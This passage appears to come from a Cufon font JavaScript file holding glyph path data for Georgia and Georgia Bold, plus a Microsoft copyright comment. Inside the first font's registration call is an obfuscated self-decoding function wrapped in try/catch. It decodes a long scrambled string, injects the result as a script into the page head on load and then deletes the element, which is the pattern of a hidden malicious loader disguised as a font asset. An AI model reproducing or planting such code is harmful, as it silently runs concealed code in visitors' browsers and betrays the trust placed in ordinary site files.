0,-60,40,-91,102,-92xm115,-9v35,0,37,-41,37,-79v0,-34,-1,-78,-37,-77v-35,1,-38,38,-38,76v0,41,1,80,38,80","w":228},{"d":"200,-135v-2,71,-101,50,-137,87r147,0r0,48r-191,0r0,-32v30,-35,90,-45,112,-86v11,-40,-15,-74,-56,-57v12,23,10,62,-25,62v-18,0,-29,-13,-29,-29v0,-70,182,-76,179,7","w":225},{"d":"148,-256v82,0,135,48,135,130v0,62,-34,106,-83,123v-1,39,32,62,72,48r0,15v-30,13,-94,23,-119,-5v-12,-13,-20,-28,-22,-49v-71,-9,-119,-52,-119,-128v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"12,-87v-6,-82,104,-115,166,-75r32,-32r11,11r-31,31v14,14,26,36,26,64v0,87,-104,117,-166,75r-32,34r-12,-11r33,-32v-14,-15,-25,-38,-27,-65xm115,-166v-45,0,-41,62,-39,108r73,-76v-5,-19,-14,-32,-34,-32xm115,-8v44,0,39,-62,38,-109r-74,76v7,18,13,33,36,33","w":228},{"d":"142,-16v67,6,70,-31,90,-68r14,0r-9,84r-234,0r0,-11r161,-222r-54,0v-55,-2,-56,23,-80,60r-14,0r8,-76r217,0r0,10r-161,223r62,0","w":248},{"d":"134,-74v38,4,73,20,73,62v0,49,-56,77,-113,77v-40,0,-84,-19,-85,-53v0,-16,11,-29,29,-29v36,0,36,39,24,62v41,13,77,-9,77,-57v0,-42,-23,-52,-66,-49r0,-21v41,4,58,-14,58,-54v0,-36,-27,-51,-59,-39v10,25,12,62,-24,62v-18,0,-29,-13,-29,-29v1,-36,47,-54,89,-53v49,0,88,16,88,58v0,40,-33,51,-62,63","w":224},{"d":"146,-140v15,-14,1,-20,-15,-22r0,-12r89,0r0,12v-35,9,-53,22,-76,43r62,92v7,10,17,13,30,14r0,13r-83,0v-18,-33,-33,-53,-52,-80v-16,10,-20,73,14,67r0,13r-108,0v-6,-23,31,-7,26,-32r0,-196v-1,-18,-14,-26,-32,-27r0,-13r87,-4r3,3r0,181","w":227},{"d":"99,-256v48,0,84,29,84,74v0,47,-35,75,-85,75v-48,0,-82,-30,-82,-74v0,-46,35,-75,83,-75xm99,-120v28,0,30,-32,30,-63v0,-28,-2,-60,-30,-60v-28,0,-29,31,-30,60v0,32,2,63,30,63","w":198},{"d":"170,-199r-10,5r-56,-45r-55,45r-9,-5v24,-25,28,-81,79,-71v25,22,29,39,51,71xm134,-20v24,0,41,-17,52,-32r13,10v-17,27,-44,48,-86,48v-63,0,-101,-33,-101,-94v0,-56,37,-91,97,-91v57,0,88,27,85,86r-118,0v0,45,14,74,58,73xm132,-109v-1,-26,-1,-56,-26,-56v-25,0,-30,25,-30,57","w":205},{"d":"148,-256v82,0,135,48,135,130v0,83,-51,133,-137,133v-80,0,-134,-48,-134,-129v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"159,-138v10,-17,-10,-21,-23,-24r0,-12r73,0r0,12v-39,9,-41,59,-59,89v-33,54,-39,138,-109,151v-38,7,-53,-58,-10,-57v19,0,28,13,38,25v8,-8,23,-27,27,-41r-74,-148v-5,-11,-14,-17,-27,-19r0,-12r108,0r0,12v-9,1,-27,3,-20,17r43,86xm155,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm67,-267v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":202},{"d":"175,-303v19,2,22,-12,28,-25r13,4v-9,24,-22,51,-53,53v-29,1,-41,-16,-65,-20v-15,1,-18,12,-26,26r-13,-5v9,-22,22,-50,52,-52v29,-2,41,17,64,19xm56,-35v-3,19,16,19,36,21r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r86,-208r36,0r87,216v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,14,-15,33,-17,48xm152,-101r-36,-90r-36,90r72,0","w":272},{"d":"212,-224v-3,-10,-11,-10,-28,-12r0,-13r97,0r0,13v-42,4,-58,37,-80,62r-29,33r78,111v12,10,22,15,42,16r0,14r-152,0r0,-14v57,4,23,-33,9,-55r-21,-32v-32,39,-44,48,-57,75v1,11,15,10,27,12r0,14r-96,0r0,-14v47,-5,58,-36,83,-65r32,-37r-73,-103v-12,-11,-22,-16,-42,-17r0,-13r153,0r0,13v-48,-4,-30,24,-14,49r20,31v29,-36,40,-42,51,-68","w":291},{"d":"90,-58v-4,35,20,42,51,35r0,15v-36,20,-109,21,-109,-39r0,-108r-32,0r0,-19r32,0r0,-53r57,0r0,53r50,0r0,19r-49,0r0,97","w":143},{"d":"75,-257v35,0,61,26,61,59v0,33,-27,58,-61,58v-34,0,-60,-26,-60,-58v0,-34,26,-59,60,-59xm76,-156v19,-1,28,-19,28,-41v0,-25,-8,-43,-29,-44v-20,0,-28,21,-28,42v0,23,8,44,29,43","w":151},{"d":"211,-38v0,16,12,23,29,21r0,13v-28,0,-62,7,-87,3v-1,-7,2,-18,-1,-23v-17,15,-31,29,-66,29v-66,0,-53,-76,-54,-140v-1,-16,-12,-24,-29,-24r0,-13v28,1,62,-7,87,-2r0,117v-6,45,51,40,63,15r0,-95v-1,-16,-12,-23,-30,-22r0,-13v28,0,63,-7,88,-2r0,136xm118,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":243},{"d":"54,-60v46,0,52,64,23,95v-13,14,-26,25,-43,33r-8,-12v21,-12,42,-25,44,-56v-52,12,-61,-60,-16,-60","w":118},{"d":"217,-34v0,16,11,19,25,21r0,13r-106,0v-7,-22,27,-7,23,-32v-6,-42,17,-118,-26,-118v-19,0,-31,10,-39,22r0,94v-1,15,10,19,23,21r0,13r-107,0r0,-13v16,0,29,-4,27,-19v-5,-46,21,-124,-29,-127r0,-13v28,0,62,-7,86,-2v1,8,-2,20,1,26v17,-14,32,-31,64,-31v70,0,59,78,58,145","w":248},{"d":"349,-206v9,-25,-16,-28,-37,-29r0,-14r100,0r0,14v-54,8,-54,72,-69,115r-42,123r-35,0r-66,-186r-60,186r-35,0r-71,-209v-6,-19,-20,-26,-41,-30r0,-13r133,0r0,13v-16,3,-36,-1,-29,21r48,147r57,-181r37,0r66,187","w":405},{"d":"235,-81v-5,-63,20,-155,-43,-155r0,-13r107,0r0,13v-33,0,-43,19,-43,59r0,178r-31,0r-156,-192v7,68,-25,176,44,177r0,14r-107,0r0,-14v35,-1,46,-17,43,-58v-5,-64,22,-160,-44,-163r0,-14r94,0","w":302}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-24-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("n]LthFyxe*+bnJ-u5F$jC]C+>2ytLF+b>2Pje*76LRS}q:x(>&Zs#]Cx>&Zs#]7IB]RY>&Zs#]qx>&Zs#]ZgR*-`>$gt#md94Rgt#md-#$gt#md_q_X`5lisL]R`5lisLlPin-gt#md9yRgt#md9ytgt#md_LRgt#mdI4$gt#md94$-6>&Zs#]C2>&Zs#]D:C*d;>&Zs#]Dj>&Zs#]Z!>&Zs#]qs>&Zs#]qX>&Zs#]Z:>&Zs#]RIqRgt#md(yRgt#mdFq-gt#md-yRgt#md9L-gt#mdIL_-`5lisLl-u>&Zs#]C!>&Zs#]Cg`FQI5tgt#mdI#Rgt#md-y$gt#mdIq-gt#md-y-gt#md_y$gt#mdIytgt#md_4$gt#md_qtgt#md-q:$:q-gt#mdF#-gt#md_LJ-`5lisq*[->&Zs#]R(Ctgt#md-L-gt#mdFy-gt#mdIy$gt#md(L-gt#md(ytgt#mdI4Rgt#md(#tgt#md(qtgt#mdI#tgt#md9qtgt#md(L$gt#md9qI5`5lisL]$y>&Zs#]Dg>&Zs#]q3>&Zs#]$9>&Zs#][tBtgt#md(q_7^L$gt#md(#-r`5lisLmP`5lisq:P`5lisLFy`5lisq:$p>J+`5lisq*Rml]gS4-gt#mdIqx$C>F)`5lisLmL`5lisLmic4:qb7_9D7RP`5lisq2$`5lisL*Zt>&Zs#]yF>&Zs#]D2BRgt#mdFLRgt#mdF#Rgt#mdidJmD$]&CPnp#y4B[7=lZR*>qLeh`5T^Q9(_I-F6c)No}rb;sgj:xt23!X8uS+Y1FL$gt#md_#$78>JP_>&Zs#:5->&Zs#]#35Rgt#md-yjL`5lisq:L+>&Zs#]#X>&Zs#]CXhRgt#md_y=5`5lisql[3ntt`5lisqld[`JtF>&Zs#]q:TRLP`>Ll=-gt#md(L>Qs[(d`5lisL_ZjZRgt#mdF4$c:etgt#md(qRgt#md-qZ+`5lisLFL`5lisq:yq5$gt#md(#$gt#mdFq=gbRx!(p6ysh]-xnJC(n=g)Bli}`mt(p6i}hmtspFg-hF5xeJg6B*CbL(X6h&-se&#+T3xue*qcq(X;e:x;>(Q146535tsbnlScB:cbntsbe*7->JXIe3sbntsb5]R:5]-ILRsbL]rSp(r`pF-IL>dje*Xx>JXIe3sbntsb5]R:5]-IL>dje*Xx>JXIejIIp2Ib5]R:5J9}h2y95]-;h(Xch3yxhF$rL=I)LF+jnmr)B]sunjr)n*5hqtr)>Rx+`$r)>>x)nJIQ")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":253,"face":{"font-family":"Georgia","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 4 8 2 5 4 5 2 2 3","ascent":"288","descent":"-72","x-height":"6","bbox":"-41.2221 -329.21 412 78.5275","underline-thickness":"21.4453","underline-position":"-20.918","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * � 2006 Microsoft Corporation. All Rights Reserved.
 * 
 * Trademark:
 * Georgia is either a registered trademark or a trademark of Microsoft
 * Corporation in the United States and/or other countries.
 * 
 * Manufacturer:
 * Carter & Cone
 * 
 * Designer:
 * Matthew Carter
 * 
 * License information:
 * http://www.microsoft.com/typography/fonts/
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"89,-255v33,0,57,25,57,57v0,32,-25,57,-57,57v-32,1,-58,-25,-58,-57v0,-32,26,-57,58,-57xm89,-154v20,0,31,-21,31,-43v0,-25,-10,-45,-32,-45v-42,1,-41,89,1,88","w":150},{"d":"78,-153v36,-42,112,-25,109,43v-4,80,-68,138,-147,106v-11,-5,-17,-13,-24,-23r48,-212v1,-17,-14,-17,-29,-18r2,-11r66,-4v-3,39,-18,80,-25,119xm85,-7v48,-4,61,-52,66,-102v5,-53,-53,-61,-78,-26r-23,104v3,15,16,25,35,24","w":199},{"d":"63,-58v-7,22,-7,50,24,41v4,-1,8,-1,10,-2r-3,11v-31,20,-81,15,-67,-33v10,-33,18,-64,22,-100v4,-23,-21,-16,-36,-13r2,-11v30,-19,80,-19,67,32xm87,-266v13,-2,22,11,22,22v1,13,-9,25,-22,25v-12,0,-22,-11,-22,-23v0,-12,9,-25,22,-24","w":107},{"d":"174,-318v8,-12,35,-16,36,2v-9,33,-53,32,-81,51r-5,-7v26,-21,30,-26,50,-46xm163,-255v59,-3,100,42,97,102v-5,89,-56,154,-145,159v-58,3,-100,-42,-97,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"195,-9v-28,16,-70,18,-72,-16v-19,15,-31,31,-63,29v-68,-5,-18,-94,-14,-143v2,-22,-21,-16,-35,-13r2,-11v28,-18,78,-20,66,32r-20,89v-1,42,54,23,68,2r31,-133v11,1,27,-5,33,1r-31,138v-3,22,22,17,37,14xm160,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm84,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":207},{"d":"235,-200v8,-29,-13,-36,-34,-38r2,-11r102,0r-2,11v-22,2,-38,6,-45,27v-29,89,-18,219,-142,217v-49,0,-87,-24,-77,-72r35,-154v-1,-13,-16,-17,-28,-18r3,-11r104,0r-3,11v-18,2,-36,5,-39,22v-10,54,-29,104,-34,160v-5,56,84,51,108,21v33,-41,35,-106,50,-165","w":272},{"d":"90,-250v28,-29,110,-34,109,19v0,42,-32,58,-62,68v27,7,47,26,46,58v-2,67,-46,115,-119,105r3,-14v58,10,78,-44,80,-98v0,-28,-14,-45,-42,-45v2,-6,0,-16,10,-14v33,-3,51,-24,53,-60v2,-37,-46,-33,-60,-10v-54,87,-24,263,-120,313v-20,10,-58,10,-58,-15v7,-36,39,-12,45,7v24,-4,32,-39,40,-68v23,-83,22,-191,75,-246","w":195},{"d":"122,-158v-49,-4,-80,2,-88,39r-10,0r10,-53r130,0r-2,10r-126,148r64,-1v21,-4,24,-30,34,-46r11,0r-12,61r-138,0r3,-12","w":159},{"d":"181,-199v20,-20,29,-38,-8,-39r2,-11r85,0r-2,11v-44,8,-58,49,-85,74v-15,22,-39,36,-46,66r71,0r-4,16r-70,0r-12,53v-1,14,19,15,31,17r-2,12r-107,0r3,-12v19,-2,37,-3,41,-22r11,-48r-68,0r3,-16r68,0v3,-47,-20,-88,-34,-125v-3,-9,-15,-14,-27,-15r3,-11r98,0r-3,11v-22,2,-35,0,-28,23r26,84","w":221},{"d":"172,-160v-60,2,-128,-13,-134,40r-12,0r16,-69r165,0r-2,12r-180,241r-23,0","w":178},{"d":"115,-177v41,-2,69,28,67,69v-3,65,-37,112,-105,113v-39,1,-66,-29,-65,-69v3,-66,37,-110,103,-113xm83,-7v48,0,61,-56,63,-108v0,-30,-10,-50,-35,-50v-48,0,-62,55,-63,107v-1,30,8,51,35,51xm122,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":193},{"d":"34,-175v0,-43,36,-74,81,-74r87,0r-2,13r-20,0r-63,274r-18,0r63,-274r-28,0r-64,274r-18,0r38,-161v-31,0,-56,-19,-56,-52","w":180},{"d":"170,-318v12,-21,52,-4,32,15v-17,16,-52,25,-76,38r-5,-7xm78,-214v7,-19,-16,-23,-30,-24r3,-11r193,0r-14,60r-13,0v-1,-33,-16,-53,-56,-47r-40,0r-23,100v45,5,71,-10,78,-41r13,0r-22,97v-8,1,-17,2,-12,-10v4,-35,-27,-34,-60,-33v-6,32,-16,59,-20,93v2,18,13,13,37,16v65,7,75,-31,98,-59r12,0r-21,73r-208,0r3,-12v20,0,37,-4,41,-21","w":235},{"d":"193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102xm125,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":206},{"d":"18,-94v-3,-114,106,-196,209,-143v5,-7,9,-15,24,-12r-19,89r-15,0v2,-47,-11,-84,-56,-81v-70,4,-102,69,-102,144v0,45,25,84,68,84v40,0,67,-28,83,-57r13,7v-24,42,-54,65,-108,69r-2,11v41,-5,46,44,13,54v-15,5,-33,6,-53,7r2,-13v21,0,46,2,48,-17v-1,-11,-12,-12,-27,-12r6,-31v-53,-6,-83,-41,-84,-99"},{"d":"182,-106v8,8,3,24,-7,27r-80,58r-7,-8r64,-65r-34,-65r10,-6xm113,-106v9,7,2,21,-6,27r-80,58r-7,-8r63,-65r-33,-65r10,-6","w":209},{"d":"115,-177v41,-2,69,28,67,69v-3,65,-37,112,-105,113v-39,1,-66,-29,-65,-69v3,-66,37,-110,103,-113xm83,-7v48,0,61,-56,63,-108v0,-30,-10,-50,-35,-50v-48,0,-62,55,-63,107v-1,30,8,51,35,51xm161,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm85,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":193},{"d":"145,-267r-74,321r-93,0r3,-15r62,0r68,-291r-63,0r4,-15r93,0","w":135},{"d":"326,-213v10,-21,-8,-23,-28,-25r2,-11r92,0r-2,11v-22,3,-37,14,-45,31r-113,210r-15,0r-21,-192r-109,192r-15,0r-11,-217v0,-17,-14,-22,-29,-24r3,-11r100,0r-3,11v-52,-1,-35,33,-32,86r5,93r105,-187r16,0r21,191","w":351},{"d":"179,41v40,0,67,-10,89,-29r6,9v-23,20,-54,36,-96,34v-86,-3,-144,-51,-144,-139v0,-93,62,-157,159,-157v74,0,115,43,117,115v1,52,-32,102,-83,102v-21,0,-35,-12,-38,-29v-9,15,-21,27,-41,28v-29,0,-41,-19,-41,-48v0,-49,33,-90,82,-95v16,-2,24,11,28,22r8,-20r26,0v-12,39,-28,73,-37,114v0,11,6,17,17,17v41,-2,66,-46,64,-93v-2,-62,-38,-98,-104,-98v-80,0,-128,56,-128,139v0,78,37,128,116,128xm138,-70v-3,36,24,37,39,20v19,-21,25,-52,36,-80v-3,-16,-8,-27,-24,-28v-36,7,-47,47,-51,88","w":334},{"d":"159,-156v24,-25,109,-36,109,15v0,54,-63,59,-116,66v0,38,9,60,41,60v30,0,42,-15,57,-35r10,8v-19,45,-115,70,-136,12v-21,19,-37,33,-74,35v-40,2,-54,-43,-31,-70v21,-24,67,-34,106,-39v7,-20,12,-64,-22,-61v-13,2,-35,1,-30,20v7,28,-37,39,-40,14v5,-44,100,-65,126,-25xm153,-88v44,-2,83,-13,83,-57v0,-35,-45,-19,-60,3v-11,16,-20,33,-23,54xm44,-37v6,41,63,15,76,-6v-3,-15,-2,-33,1,-47v-37,5,-74,15,-77,53","w":275},{"d":"113,-177v30,-1,50,11,50,36v0,54,-64,60,-116,69v-1,34,11,57,41,57v30,0,42,-15,57,-35r10,8v-15,24,-44,47,-79,47v-42,1,-64,-26,-64,-67v0,-65,37,-112,101,-115xm48,-84v40,-6,84,-15,82,-61v-2,-35,-44,-19,-59,3v-11,16,-20,35,-23,58xm154,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm78,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":169},{"d":"50,-210v3,-51,123,-67,123,-5v0,70,-82,69,-120,104r109,0r-5,25r-133,0v14,-68,112,-54,117,-131v2,-29,-42,-32,-56,-15v3,20,0,37,-22,35v-10,1,-13,-5,-13,-13","w":180},{"d":"144,-136v85,37,27,141,-57,141v-27,0,-50,-8,-65,-18v-5,7,-9,16,-24,13r18,-85r14,0v3,43,17,76,63,76v33,0,59,-21,58,-54v-4,-69,-111,-38,-111,-114v0,-71,95,-98,147,-60v5,-7,9,-15,24,-12r-18,82r-14,0v-1,-40,-11,-74,-54,-74v-43,0,-70,67,-28,85","w":201},{"d":"138,-322v32,0,67,38,79,-5r11,4v-5,38,-55,55,-87,27v-20,-9,-29,6,-37,21r-10,-4v8,-19,18,-43,44,-43xm154,-101r-16,-98r-60,98r76,0xm38,-25v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r130,-211r14,0r37,227v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62","w":241},{"d":"199,-35r-15,16r-64,-64r-64,64r-15,-16r64,-63r-64,-64r16,-15r63,63r64,-64r15,16r-64,64"},{"d":"21,34v18,1,23,22,28,32v51,-1,69,-48,76,-91v-24,32,-109,47,-100,-17v4,-33,17,-63,21,-97v3,-22,-21,-16,-35,-13r2,-11v29,-19,78,-19,66,32r-20,88v0,44,56,22,70,2r29,-132v10,1,27,-6,33,1v-30,100,-17,250,-142,250v-25,0,-46,-3,-46,-25v0,-10,7,-19,18,-19","w":201},{"d":"46,-44v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":97},{"d":"195,-9v-28,16,-70,18,-72,-16v-19,15,-31,31,-63,29v-68,-5,-18,-94,-14,-143v2,-22,-21,-16,-35,-13r2,-11v28,-18,78,-20,66,32r-20,89v-1,42,54,23,68,2r31,-133v11,1,27,-5,33,1r-31,138v-3,22,22,17,37,14xm92,-237v-15,-7,-13,-34,5,-33v22,1,25,24,34,38r19,31r-7,6","w":207},{"d":"42,-74v29,-1,15,34,5,43v6,14,18,19,38,21r21,-91v-27,-12,-58,-21,-59,-57v-1,-42,47,-70,89,-70r8,-40r17,0r-10,40v29,3,54,17,57,43v3,25,-36,37,-40,11v11,-20,11,-41,-20,-41r-19,85v28,11,61,22,62,58v1,45,-45,75,-93,75r-11,50r-17,0r12,-49v-32,-1,-63,-19,-64,-48v0,-15,9,-30,24,-30xm133,-214v-52,-8,-75,63,-25,77r6,3xm101,-9v57,9,79,-77,20,-88","w":219},{"d":"124,-295v-19,-5,-19,-35,3,-33v32,14,34,31,61,56r-6,7xm154,-101r-16,-98r-60,98r76,0xm38,-25v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r130,-211r14,0r37,227v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62","w":241},{"d":"153,-239v18,0,22,-9,27,-24r11,4v-5,39,-55,56,-87,28v-20,-9,-30,6,-37,21r-10,-5v8,-19,18,-42,44,-42v24,0,32,18,52,18xm193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102","w":206},{"d":"160,-177v16,0,23,14,23,32v-5,76,-35,144,-108,150v-36,3,-57,-26,-48,-63r20,-81v3,-22,-24,-16,-37,-12r3,-12v29,-19,78,-19,66,32r-20,87v0,19,10,29,29,29v54,0,89,-81,55,-128v-9,-13,0,-34,17,-34","w":193},{"d":"49,-170v4,-45,-11,-113,38,-94v12,29,-21,60,-27,94r-11,0","w":77},{"d":"169,-256v30,0,51,18,54,44v3,26,-39,44,-43,15v-1,-9,8,-24,11,-30v-23,-37,-73,1,-79,37r-10,64r69,0r-3,16r-69,0v-7,35,-28,62,-57,77r-1,3r153,0r-7,30r-185,0r6,-26v34,-12,50,-44,56,-84r-30,0r3,-16r30,0v1,-70,34,-129,102,-130","w":223},{"d":"113,-177v30,-1,50,11,50,36v0,54,-64,60,-116,69v-1,34,11,57,41,57v30,0,42,-15,57,-35r10,8v-15,24,-44,47,-79,47v-42,1,-64,-26,-64,-67v0,-65,37,-112,101,-115xm48,-84v40,-6,84,-15,82,-61v-2,-35,-44,-19,-59,3v-11,16,-20,35,-23,58xm121,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":169},{"d":"169,-202r-9,5r-39,-48r-58,48r-8,-5r60,-67v7,-4,23,-2,24,5xm113,-177v30,-1,50,11,50,36v0,54,-64,60,-116,69v-1,34,11,57,41,57v30,0,42,-15,57,-35r10,8v-15,24,-44,47,-79,47v-42,1,-64,-26,-64,-67v0,-65,37,-112,101,-115xm48,-84v40,-6,84,-15,82,-61v-2,-35,-44,-19,-59,3v-11,16,-20,35,-23,58","w":169},{"d":"54,-249v104,-3,216,-9,212,96v-3,96,-66,153,-162,153r-109,0r3,-12v18,1,34,-4,38,-20r21,-92r-32,0r4,-16r32,0v6,-27,14,-52,18,-81v1,-14,-18,-14,-28,-17xm112,-14v77,0,111,-62,113,-139v2,-59,-40,-92,-104,-82r-22,95r53,0r-4,16r-53,0r-20,91v1,17,16,19,37,19","w":269},{"d":"210,0r-179,0r0,-22r78,0r0,-71r-78,0r0,-22r78,0r0,-79r22,0r0,79r79,0r0,22r-79,0r0,71r79,0r0,22"},{"d":"193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102xm99,-237v-15,-7,-13,-34,5,-33v22,1,25,24,34,38r19,31r-7,6","w":206},{"d":"223,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm144,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm235,-200v8,-29,-13,-36,-34,-38r2,-11r102,0r-2,11v-22,2,-38,6,-45,27v-29,89,-18,219,-142,217v-49,0,-87,-24,-77,-72r35,-154v-1,-13,-16,-17,-28,-18r3,-11r104,0r-3,11v-18,2,-36,5,-39,22v-10,54,-29,104,-34,160v-5,56,84,51,108,21v33,-41,35,-106,50,-165","w":272},{"d":"48,-44v44,2,20,67,0,78v-12,12,-26,21,-40,28r-6,-12v22,-11,42,-26,50,-50v-17,2,-30,-5,-30,-20v0,-13,11,-25,26,-24","w":97},{"d":"81,17v42,-5,47,43,13,54v-15,5,-33,6,-53,7r3,-13v21,-1,46,3,47,-17v-1,-11,-12,-12,-27,-12r8,-39r14,0","w":180},{"d":"193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102xm163,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm87,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":206},{"d":"192,-9v-28,16,-70,18,-72,-16v-16,22,-70,43,-92,13v-12,28,9,88,-28,90v-32,-5,8,-57,8,-70r43,-181v11,0,25,-4,33,0r-29,132v1,42,59,18,69,1r31,-133v11,0,25,-4,33,0r-31,139v-3,22,22,17,37,14","w":204},{"d":"83,-127r-22,0r0,-141r22,0r0,141xm83,75r-22,0r0,-143r22,0r0,143","w":135},{"d":"173,-202r-8,5r-39,-48r-58,48r-9,-5r60,-67v6,-3,23,-3,24,5xm115,-177v41,-2,69,28,67,69v-3,65,-37,112,-105,113v-39,1,-66,-29,-65,-69v3,-66,37,-110,103,-113xm83,-7v48,0,61,-56,63,-108v0,-30,-10,-50,-35,-50v-48,0,-62,55,-63,107v-1,30,8,51,35,51","w":193},{"d":"75,-236v25,1,44,-7,57,-18r13,0r-34,144v-1,13,18,11,29,12r-3,12r-96,0r3,-12v15,-2,33,2,37,-14r26,-112r-35,0","w":180},{"d":"21,34v18,1,23,22,28,32v51,-1,69,-48,76,-91v-24,32,-109,47,-100,-17v4,-33,17,-63,21,-97v3,-22,-21,-16,-35,-13r2,-11v29,-19,78,-19,66,32r-20,88v0,44,56,22,70,2r29,-132v10,1,27,-6,33,1v-30,100,-17,250,-142,250v-25,0,-46,-3,-46,-25v0,-10,7,-19,18,-19xm129,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":201},{"d":"194,-9v-27,14,-68,21,-71,-15v-14,12,-30,28,-56,29v-36,0,-56,-29,-55,-68v-1,-78,69,-138,144,-103v5,-25,12,-47,15,-73v2,-19,-18,-16,-34,-18r2,-11r71,-4r2,3r-53,235v-3,23,23,17,38,14xm49,-63v-5,58,53,58,78,22r22,-95v-3,-17,-14,-29,-34,-29v-46,0,-61,51,-66,102","w":207},{"d":"235,-271r-8,6r-42,-37r-56,37r-8,-6r58,-55v7,-4,24,-2,25,5xm235,-200v8,-29,-13,-36,-34,-38r2,-11r102,0r-2,11v-22,2,-38,6,-45,27v-29,89,-18,219,-142,217v-49,0,-87,-24,-77,-72r35,-154v-1,-13,-16,-17,-28,-18r3,-11r104,0r-3,11v-18,2,-36,5,-39,22v-10,54,-29,104,-34,160v-5,56,84,51,108,21v33,-41,35,-106,50,-165","w":272},{"d":"173,-318v12,-21,52,-3,32,15v-17,16,-52,25,-77,38r-4,-7xm198,-213v17,-17,-2,-26,-23,-25r3,-11r89,0v-6,22,-35,15,-47,36v-29,32,-61,73,-87,109v-8,20,-16,49,-19,74v-2,17,21,16,35,18r-3,12r-116,0r2,-12v21,-1,43,-2,45,-22v4,-29,22,-59,9,-88v-18,-40,-12,-106,-61,-116r3,-11r102,0v3,24,-46,-2,-35,32r30,96","w":221},{"d":"155,-239v18,0,22,-9,27,-24r11,4v-5,39,-55,56,-87,28v-20,-9,-30,6,-37,21r-10,-5v8,-19,18,-42,44,-42v24,0,32,18,52,18xm169,-58v-9,19,-9,51,23,40v4,-1,8,-1,10,-2r-3,11v-31,20,-82,16,-67,-33v9,-29,16,-57,21,-89v-3,-45,-56,-19,-71,2r-30,